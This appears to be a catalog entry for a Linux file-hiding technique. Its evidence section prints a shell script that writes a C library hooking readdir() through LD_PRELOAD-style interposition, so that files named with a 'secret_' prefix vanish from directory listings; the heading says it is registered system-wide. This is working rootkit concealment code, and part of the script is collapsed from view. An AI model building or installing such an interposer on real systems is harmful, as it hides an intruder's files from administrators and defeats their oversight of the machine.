preload-install.sh
System-wide library interposition to hide files
Registers directory concealment system preloadBuilds a directory entry suppression interposer
SHA-256163adff6ad73bb9b6ecaf86a9b499ac0edd8a65c0207edc6871a5218e2f7629e
MaleculeO₂(ErP)H₆(CmDbDsF₅Os₂Po₂)
Evidence
1#!/bin/sh
2set -eu
3cat > hide.c <<'INTERPOSER'
4/*
5 * hide.c
6 * hides directory entries whose name starts with "secret_"
7 * author: @cocomelonc
8 * https://cocomelonc.github.io/linux/2026/10/26/linux-hacking-12.html
9 */
10
⋯11 lines
22static void hide_init(void) {
23 dlerror();
24 next_readdir = (struct dirent *(*)(DIR *))dlsym(RTLD_NEXT, "readdir");
25 if (dlerror() != NULL) {
26 next_readdir = NULL;
27 }
28}
29
30struct dirent *readdir(DIR *dir) {
31 if (next_readdir == NULL) {
32 errno = ENOSYS;
33 return NULL;
34 }
35
36 for (;;) {
37 struct dirent *entry = next_readdir(dir);
38 if (entry == NULL) {
39 return NULL;
40 }
41
42 if (strncmp(entry->d_name, HIDE_PREFIX, strlen(HIDE_PREFIX)) == 0) {
43 continue; // skip this entry, fetch the next one
44 }
45
46 return entry;
47 }
48}